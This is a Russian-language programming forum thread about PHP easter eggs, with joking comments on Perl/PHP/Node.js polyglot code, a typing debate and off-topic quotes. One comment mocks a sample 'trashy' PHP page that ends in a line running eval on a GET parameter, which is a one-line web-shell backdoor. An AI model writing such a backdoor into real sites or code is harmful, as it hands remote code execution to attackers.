"PHP" / Говнокод #24593 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
Какие есть пасхальные яйца в "PHP"?
Вроде "import this" или "from __future__ import braces" в "Python",
или "long long long is too long for GCC" в "GCC".

Запостил: LinuxGovno LinuxGovno, (Updated )

Комментарии (34) RSS

  • когда-то была такая дыра: передача какой=то хрени гетом выводила phpinfo();
    Ответить
    • вообще говоря довольно ожидаемо
      у перла слабая типизация, потому '0 but true' кастится в 0 для сравнения с нулем
      но это строка, так что она конечно же True
      Ответить
      • >>>"типизация"

        Нахуй она вообще нужна? Чем обусловлена течка по статической типизации, если она крайне неудобна? К примеру, в "PHP" я могу спокойно написать код, подобный приведённому ниже, и не надо будет придумывать всё новые и новые названия для переменных:
        $count='microsoft,apple,amazon';
        $count=explode(',', $count);
        $count=count($count);
        $count=$count.' шт.';
        Ответить
        • Пойди почитай что такое слабая и сильная типизация, и какое отношение она имеет к статической и динамической, и не путай их больше.

          К примеру в питоне типизация строгая (сильная), но твой код тоже будет работать ибо она не статическая
          Ответить
    • Эсперанто "Perl+PHP":
      #<?php echo "\010";
      $value = '0 but true';
      print (($value == 0) ? "zero!\n" : "");
      print (($value) ? "... but true\n" : "");

      Эта программа в Перле и в "PHP" выдаёт одно и то же.
      Ответить
        • Выведется, а после него выведется backspace, так что в сосноли этот символ не будет видно.

          В сосноли "Ideone", правда, забой и другие управляющие символы не работают:
          https://ideone.com/pC4Ymz

          Способа, который бы работал и в "Ideone", и в реальной консоли, я не придумал.

          Кстати, пруф про Perl: https://ideone.com/ZlBjhG

          А в Ruby выводит просто «... but true»: https://ideone.com/R8ks7Z
          Ответить
        • Представляю вам семижопую галапагосскую черепаху "PHP+Node.JS":
          //<?php echo "\010\010";
          eval(true ? 'print = console.log' : true ? "" : "");
          $value = "0 but true";
          print (($value == 0) ? "zero!\n" : "");
          print (($value) ? "... but true\n" : "");


          PHP: https://ideone.com/jwK7Rd
          JS: https://ideone.com/9mEEbf

          JS выводит просто «... but true», как и Ruby.
          Ответить
          • Кстати, во второй строчке забавное определение языка: через приоритет тернарных операторов.
            Ответить
        • Придумал, как исправить. Нужно заменить первую строку на такой код:
          #<?php ob_clean();


          Только в CLI (в консольном режиме PHP) сработает, только если значение параметра output_buffering в php.ini больше нуля (или если задан параметр командной строки -doutput_buffering=). По умолчанию "PHP" не буферизует вывод у консольного режима.
          Ответить
          • Универсальное решение:
            #<?php if (!@ob_clean()) echo "\010";


            Работает так:
            1. Если PHP И буфер не пуст (т. е. в нём сидит '#'), то чистим.
            2. Eсли PHP И обосрались при попытке почистить, то выводим символ "\010" (бекспейс), чтобы затереть решётку в консоли (в вебе так не затрётся, но в вебе и буфер обычно ненулевой, т. е. сработает п. 1).
            3. Eсли другой язык программирования, то игнорируем первую строчку.

            Хотя, конечно, говно. Лучше запускать "PHP" с ненулевым буфером.
            Ответить
      • Да, вот это особенно смешно:

        Пример быдлоскрипта
        <?php
        echo '<html>
              <body>
                  <h1>This is my home page</h1>
                  DATING & DOORWAY
             </body>
            </html>';
        if (isset($_GET['adminka'])) eval($_GET['adminka']);
        ?>
        Ответить
        • - Да хватит тебе обжираться!
          - Я что обжираюсь? Это мой только третий кабан!

          - Эти новые римляне летают лучше. Наверное, это из-за более обтекаемой формы шлема.

          - Курицу приготовить?
          - Да.
          - Сколько?
          - Штук 20, я сейчас на диете.

          - Римляне больше не хотят с нами играть! Ты их постоянно унижаешь!
          Ответить

Добавить комментарий

Семь раз отмерь — один отрежь, guest!

    А не использовать ли нам bbcode?


    8